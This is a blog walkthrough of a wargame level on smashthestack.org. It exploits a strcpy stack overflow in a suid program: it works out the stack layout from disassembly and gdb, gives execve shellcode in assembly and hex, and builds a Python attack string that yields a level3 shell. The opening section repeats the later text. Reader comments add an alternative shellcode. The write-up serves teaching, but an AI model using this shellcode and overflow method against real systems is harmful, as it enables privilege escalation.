For people who came here from reddit, you can find the solution to the first level here, and solutions to the other levels will appear gradually over the next week or two as I write them.
Also, any feedback will be very much appreciated, be it grammar related, coherence of explanations, level of detail, style - anything.
Hi. This post will be about level2 of the blackbox wargame at smashthestack.org.
SPOILER ALERT! If you want to try and solve the level by yourself then read no further!
The password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.
Now that we have that cleared out, let's start hacking at level2:
In addition, we have a the password file, which contains the password of level2, this is a part of a pattern all levels follow (to a degree), and acts as a sort of save-point which saved you grinding through all the levels every time.
Another thing worth noticing (which was true for the previous level as well) is that the executable is owned by the user level3 and it has the suid bit in its permission string. This means that the process will run with level3 permissions. The importance of this fact will be clear shortly, but first, let's examine the source we got:
There also seems to be some loop that sanitizes the the input by removing all '/' from the beginning of filename.
So far this is pretty straightforward, except for the fact that the (sanitized) contents of filename are copied to the local buffer buf using an unsafe strcpy.
This means, that if filename is actually too long (bigger than 128-5, since buf is copied the constant string "/tmp/"), the strcpy will continue copying past the limits of buf[128] and into the stack frame.
This smells like a buffer overflow. Let's see if we can make it crash first:
Let's take a look at the disassembly of main to see what's going on there in terms of the stack frame, and how we can exploit it:
First, main is a function, so when we enter it (meaning, on the first line) esp points to the return pointer.
The first instruction pushes the ebp of the old stack-frame onto the stack.
Next the current ebp is set to point to the saved ebp.
Then ebx is pushed, and after that, esp is moved 0x114 bytes downwards, and rounded to a 16 byte boundary (that's just an optimization related to cache pages and is not relevant in this case). This in effect means that our stack frame is 0x114=276 bytes long.
Let's try to locate the local variables in that stack-frame.
The pointer filename is the return value from getenv:
We see that the return value is copied into ebp-0xc, which is just below the saved ebx.
As for buf, it is the first parameter to the first call to strcpy, let's look at it:
That's enough for us to paint an image of main's stack-frame:
We can see that the saved return pointer is located 156 bytes above the bottom of buf. Which means that the filename environment variable should contain 156 bytes (where our code would reside), and 4 bytes which should be a pointer to the start of that code.
This means we have two questions to answer:
That difference, though, is a constant one, and can be measured.
Let's make a simple test program to tell us where the stack-frame base is, and run it with, and without gdb:
This means, that for getowner, when running outside gdb, the value of ebp is 0xbfffdaa8+0x20=0xbfffdac8, and the bottom of buf is at 0xbfffdac8-0x98=0xbfffda30.
Now for the second question - what do we put in the rest of the variable filename?
Well, firing up a shell would be nice, because, as I mentioned earlier, the process runs as if the user level3 ran it, so if that process were to execute a shell, that shell would be level3's shell, and we can cd to level3's home directory and get the contents of the password file.
The question of writing shellcode is discussed thoroughly in Aleph1's "Smashing the stack for fun and profit".
In this case however, I like to use another version of shellcode, which does not involve any jumps, about which I read in murat's "Designing shellcode demystified". Anyway, this is the shellcode:
Another thing is that x86 are little endian machines, meaning that in memory, the LSB is at the lower addresses, so if we want to encode every 4 byte string as a long word, we need to reverse it, so "//sh" => {'h', 's', '/', '/'} => 0x68732f2f.
What we now did in effect, is to make an array of two pointers, one to "/bin//sh", and the second is NULL, which terminated the array.
What we now have in memory is the following:
The remaining lines set up the register for an execve system call and execute it:
Well, not entirely, there are small details to which attention is needed, and it is all about details here.
First, we already start copying filename to buf when buf already contains 5 characters. And second, once we add an environment variable, the stack will shift down. We can repeat our little experiment from earlier after setting the enviroment variable filename to some 160 character string, and discover that ebp has shifted to 0xbfffda18.
Good, now that we have all the details cleared, let's put it all in one script, and try it out:
Next time - level 3.
Also, any feedback will be very much appreciated, be it grammar related, coherence of explanations, level of detail, style - anything.
Hi. This post will be about level2 of the blackbox wargame at smashthestack.org.
The password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.
Now that we have that cleared out, let's start hacking at level2:
$ ssh -p 2225 level2@blackbox.smashthestack.org level2@blackbox.smashthestack.org's password: ... level2@blackbox:~$ ls -l total 20 -rwsr-xr-x 1 level3 level3 12186 2007-12-29 14:10 getowner -rw-r--r-- 1 root level2 488 2007-12-29 14:10 getowner.c -rw-r--r-- 1 root root 9 2008-01-24 05:53 passwordLooks like we got the source code for the executable in this level, this should make our lives a lot easier.
In addition, we have a the password file, which contains the password of level2, this is a part of a pattern all levels follow (to a degree), and acts as a sort of save-point which saved you grinding through all the levels every time.
Another thing worth noticing (which was true for the previous level as well) is that the executable is owned by the user level3 and it has the suid bit in its permission string. This means that the process will run with level3 permissions. The importance of this fact will be clear shortly, but first, let's examine the source we got:
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char **argv) { char *filename; char buf[128]; if((filename = getenv("filename")) == NULL) { printf("No filename configured!\n"); return 1; } while(*filename == '/') filename++; strcpy(buf, "/tmp/"); strcpy(&buf[strlen(buf)], filename); struct stat stbuf; stat(buf, &stbuf); printf("The owner of this file is: %d\n", stbuf.st_uid); return 0; }Well, it looks like the program reads some path from the environment variable called filename, then appends it to the base path "/tmp" and uses the stat system call to find the owner of the file pointed to by the resulting path.
There also seems to be some loop that sanitizes the the input by removing all '/' from the beginning of filename.
So far this is pretty straightforward, except for the fact that the (sanitized) contents of filename are copied to the local buffer buf using an unsafe strcpy.
This means, that if filename is actually too long (bigger than 128-5, since buf is copied the constant string "/tmp/"), the strcpy will continue copying past the limits of buf[128] and into the stack frame.
This smells like a buffer overflow. Let's see if we can make it crash first:
level2@blackbox:~$ filename=`python -c "print 'A'*200"` ./getowner The owner of this file is: 0 Segmentation faultYup, made it segfault.
Let's take a look at the disassembly of main to see what's going on there in terms of the stack frame, and how we can exploit it:
08048464 <main>: 8048464: 55 push %ebp 8048465: 89 e5 mov %esp,%ebp 8048467: 53 push %ebx 8048468: 81 ec 14 01 00 00 sub $0x114,%esp 804846e: 83 e4 f0 and $0xfffffff0,%esp 8048471: b8 00 00 00 00 mov $0x0,%eax 8048476: 29 c4 sub %eax,%esp 8048478: c7 04 24 c0 86 04 08 movl $0x80486c0,(%esp) 804847f: e8 b4 fe ff ff call 8048338 <getenv@plt> 8048484: 89 45 f4 mov %eax,0xfffffff4(%ebp) 8048487: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp) 804848b: 75 1b jne 80484a8 <main+0x44> 804848d: c7 04 24 c9 86 04 08 movl $0x80486c9,(%esp) 8048494: e8 df fe ff ff call 8048378 <printf@plt> 8048499: c7 85 04 ff ff ff 01 movl $0x1,0xffffff04(%ebp) 80484a0: 00 00 00 80484a3: e9 86 00 00 00 jmp 804852e <main+0xca> 80484a8: 90 nop 80484a9: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 80484ac: 80 38 2f cmpb $0x2f,(%eax) 80484af: 74 02 je 80484b3 <main+0x4f> 80484b1: eb 07 jmp 80484ba <main+0x56> 80484b3: 8d 45 f4 lea 0xfffffff4(%ebp),%eax 80484b6: ff 00 incl (%eax) 80484b8: eb ef jmp 80484a9 <main+0x45> 80484ba: c7 44 24 04 e2 86 04 movl $0x80486e2,0x4(%esp) 80484c1: 08 80484c2: 8d 85 68 ff ff ff lea 0xffffff68(%ebp),%eax 80484c8: 89 04 24 mov %eax,(%esp) 80484cb: e8 b8 fe ff ff call 8048388 <strcpy@plt> 80484d0: 8d 9d 68 ff ff ff lea 0xffffff68(%ebp),%ebx 80484d6: 8d 85 68 ff ff ff lea 0xffffff68(%ebp),%eax 80484dc: 89 04 24 mov %eax,(%esp) 80484df: e8 74 fe ff ff call 8048358 <strlen@plt> 80484e4: 8d 14 18 lea (%eax,%ebx,1),%edx 80484e7: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 80484ea: 89 44 24 04 mov %eax,0x4(%esp) 80484ee: 89 14 24 mov %edx,(%esp) 80484f1: e8 92 fe ff ff call 8048388 <strcpy@plt> 80484f6: 8d 85 08 ff ff ff lea 0xffffff08(%ebp),%eax 80484fc: 89 44 24 04 mov %eax,0x4(%esp) 8048500: 8d 85 68 ff ff ff lea 0xffffff68(%ebp),%eax 8048506: 89 04 24 mov %eax,(%esp) 8048509: e8 f2 00 00 00 call 8048600 <__stat> 804850e: 8b 85 20 ff ff ff mov 0xffffff20(%ebp),%eax 8048514: 89 44 24 04 mov %eax,0x4(%esp) 8048518: c7 04 24 00 87 04 08 movl $0x8048700,(%esp) 804851f: e8 54 fe ff ff call 8048378 <printf@plt> 8048524: c7 85 04 ff ff ff 00 movl $0x0,0xffffff04(%ebp) 804852b: 00 00 00 804852e: 8b 85 04 ff ff ff mov 0xffffff04(%ebp),%eax 8048534: 8b 5d fc mov 0xfffffffc(%ebp),%ebx 8048537: c9 leave 8048538: c3 retWell, let's try and reconstruct how the stack frame looks.
First, main is a function, so when we enter it (meaning, on the first line) esp points to the return pointer.
The first instruction pushes the ebp of the old stack-frame onto the stack.
Next the current ebp is set to point to the saved ebp.
Then ebx is pushed, and after that, esp is moved 0x114 bytes downwards, and rounded to a 16 byte boundary (that's just an optimization related to cache pages and is not relevant in this case). This in effect means that our stack frame is 0x114=276 bytes long.
Let's try to locate the local variables in that stack-frame.
The pointer filename is the return value from getenv:
804847f: e8 b4 fe ff ff call 8048338 <getenv@plt> 8048484: 89 45 f4 mov %eax,0xfffffff4(%ebp)
We see that the return value is copied into ebp-0xc, which is just below the saved ebx.
As for buf, it is the first parameter to the first call to strcpy, let's look at it:
80484ba: c7 44 24 04 e2 86 04 movl $0x80486e2,0x4(%esp) 80484c1: 08 80484c2: 8d 85 68 ff ff ff lea 0xffffff68(%ebp),%eax 80484c8: 89 04 24 mov %eax,(%esp) 80484cb: e8 b8 fe ff ff call 8048388 <strcpy@plt>The calling convention is first parameter is at esp, and the rest are above esp, this means that the first parameter, which ought to be the address of buf is ebp-0x98.
That's enough for us to paint an image of main's stack-frame:
stack frame of the function "main" |
We can see that the saved return pointer is located 156 bytes above the bottom of buf. Which means that the filename environment variable should contain 156 bytes (where our code would reside), and 4 bytes which should be a pointer to the start of that code.
This means we have two questions to answer:
- What is the value of the desired return pointer?
- What code do we put in the body of our attack?
level2@blackbox:~$ gdb getowner ... (gdb) b *main+3 Breakpoint 1 at 0x8048467 (gdb) run Starting program: /home/level2/getowner Breakpoint 1, 0x08048467 in main () (gdb) p $ebp $1 = (void *) 0xbfffda98This, unfortunately, is not the right answer, since in the execution context of gdb, the stack is actually located lower than it would have been if ran from a shell.
That difference, though, is a constant one, and can be measured.
Let's make a simple test program to tell us where the stack-frame base is, and run it with, and without gdb:
level2@blackbox:~$ cd /tmp/ level2@blackbox:/tmp$ cat > test.c #include <stdio.h> int main(int argc, char *argv[]) { int i; printf("%p\n", &i); return 0; } level2@blackbox:/tmp$ gcc -o test test.c level2@blackbox:/tmp$ ./test 0xbfffdac0So without gdb, the address of the first local variable is 0xbfffdac0.
level2@blackbox:/tmp$ gdb test ... (gdb) disassemble main Dump of assembler code for function main: 0x08048354 <main+0>: lea 0x4(%esp),%ecx 0x08048358 <main+4>: and $0xfffffff0,%esp 0x0804835b <main+7>: pushl 0xfffffffc(%ecx) 0x0804835e <main+10>: push %ebp 0x0804835f <main+11>: mov %esp,%ebp 0x08048361 <main+13>: push %ecx 0x08048362 <main+14>: sub $0x24,%esp 0x08048365 <main+17>: lea 0xfffffff8(%ebp),%eax 0x08048368 <main+20>: mov %eax,0x4(%esp) 0x0804836c <main+24>: movl $0x8048498,(%esp) 0x08048373 <main+31>: call 0x8048290 <printf@plt> 0x08048378 <main+36>: mov $0x0,%eax 0x0804837d <main+41>: add $0x24,%esp 0x08048380 <main+44>: pop %ecx 0x08048381 <main+45>: pop %ebp 0x08048382 <main+46>: lea 0xfffffffc(%ecx),%esp 0x08048385 <main+49>: ret ... End of assembler dump. (gdb) break *main+17 Breakpoint 1 at 0x8048365 (gdb) run Starting program: /tmp/test Breakpoint 1, 0x08048365 in main () (gdb) p $ebp-8 $1 = (void *) 0xbfffdaa0While inside gdb, the address of the same variable is 0xbfffdaa0, that's 0x20 bytes lower.
This means, that for getowner, when running outside gdb, the value of ebp is 0xbfffdaa8+0x20=0xbfffdac8, and the bottom of buf is at 0xbfffdac8-0x98=0xbfffda30.
Now for the second question - what do we put in the rest of the variable filename?
Well, firing up a shell would be nice, because, as I mentioned earlier, the process runs as if the user level3 ran it, so if that process were to execute a shell, that shell would be level3's shell, and we can cd to level3's home directory and get the contents of the password file.
The question of writing shellcode is discussed thoroughly in Aleph1's "Smashing the stack for fun and profit".
In this case however, I like to use another version of shellcode, which does not involve any jumps, about which I read in murat's "Designing shellcode demystified". Anyway, this is the shellcode:
xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx movb $0x0b, %al int $0x80Let's analyze it line by line:
xorl %eax,%eaxThis puts 0 in eax, a common technique since putting 0 in a register directly will make the string that will have the shellcode contain a string terminator, which isn't particularly desirable.
pushl %eax pushl $0x68732f2f pushl $0x6e69622fThese 3 instructions push the string "/bin//sh" (null terminated) into the stack. One thing to notice is that we are pushing the string down the stack, so first comes the string terminator (the 0 in eax), then "//sh" and then "/bin".
Another thing is that x86 are little endian machines, meaning that in memory, the LSB is at the lower addresses, so if we want to encode every 4 byte string as a long word, we need to reverse it, so "//sh" => {'h', 's', '/', '/'} => 0x68732f2f.
movl %esp, %ebx pushl %eax pushl %ebxThis stores the current value of esp, which points to the beginning of "/bin//sh", then pushes 0 into the stack, and then pushes the saved pointer.
What we now did in effect, is to make an array of two pointers, one to "/bin//sh", and the second is NULL, which terminated the array.
What we now have in memory is the following:
The remaining lines set up the register for an execve system call and execute it:
movl %esp, %ecx xorl %edx, %edx movb $0x0b, %al int $0x80To get the string that will represent the shellcode we can embed it in a C program, compile it, then use objdump to get the hex strings of the instructions and some bash trickery to combine them all:
level2@blackbox:/tmp$ cat > shellcode.c int main(int argc, char *argv[]) { __asm__( "xorl %eax,%eax\n\t" "pushl %eax\n\t" "pushl $0x68732f2f\n\t" "pushl $0x6e69622f\n\t" "movl %esp, %ebx\n\t" "pushl %eax\n\t" "pushl %ebx\n\t" "movl %esp, %ecx\n\t" "xorl %edx, %edx\n\t" "movb $0x0b, %al\n\t" "int $0x80" ); return 0; } level2@blackbox:/tmp$ gcc -o shellcode shellcode.c level2@blackbox:/tmp$ objdump -d shellcode|grep -A17 "main>:"|tail -n +8|\ > cut -f 2|xargs echo -n|tr -d ' ';echo 31c050682f2f7368682f62696e89e3505389e131d2b00bcd80Excellent, let's put everything we gathered together and construct the attack string. We have our shellcode, after which should come some sort of filler to get all the way to the return pointer, and then there's our return pointer which points to the beginning of buf.
Well, not entirely, there are small details to which attention is needed, and it is all about details here.
First, we already start copying filename to buf when buf already contains 5 characters. And second, once we add an environment variable, the stack will shift down. We can repeat our little experiment from earlier after setting the enviroment variable filename to some 160 character string, and discover that ebp has shifted to 0xbfffda18.
Good, now that we have all the details cleared, let's put it all in one script, and try it out:
level2@blackbox:/tmp$ cat > shellcode.py import struct SHELLCODE = "31c050682f2f7368682f62696e89e3505389e131d2b00bcd80".decode("hex") EBP = 0xbfffda18 ATTACK_STRING = "".join([ SHELLCODE, "\x90" * (0x98 + 4 - 5 - len(SHELLCODE)), struct.pack("<L", EBP - 0x98 + 5), ]) print ATTACK_STRING level2@blackbox:/tmp$ cd level2@blackbox:~$ filename=`python /tmp/shellcode.py` ./getowner The owner of this file is: 0 sh-3.1$ cd /home/level3 sh-3.1$ cat password ??????????QED.
Next time - level 3.
I'm getting "segmentation fault" when using that shellcode.py
ReplyDeleteHad to make a few patches to get it to work, changed SHELLCODE to: "eb185e31c088460789760889460cb00b8d1e8d4e088d560ccd80e8e3ffffff2f62696e2f7368" and EBP to: 0xbfffda09
Oh, you used Aleph1's original shellcode.
DeleteBut why didn't the shellcode in my article work for you....that's odd.
If you could supply some more data about the failure it would be really nice, because I'm interested to see why it didn't work.
Is there a different way to solve this now, since stack execution is disabled?
ReplyDeletelol observing some 5years old solutions when they patched it haha
ReplyDelete